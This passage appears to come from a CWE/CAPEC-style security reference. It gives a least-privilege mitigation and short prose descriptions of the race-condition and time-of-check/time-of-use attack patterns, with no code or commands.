Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.

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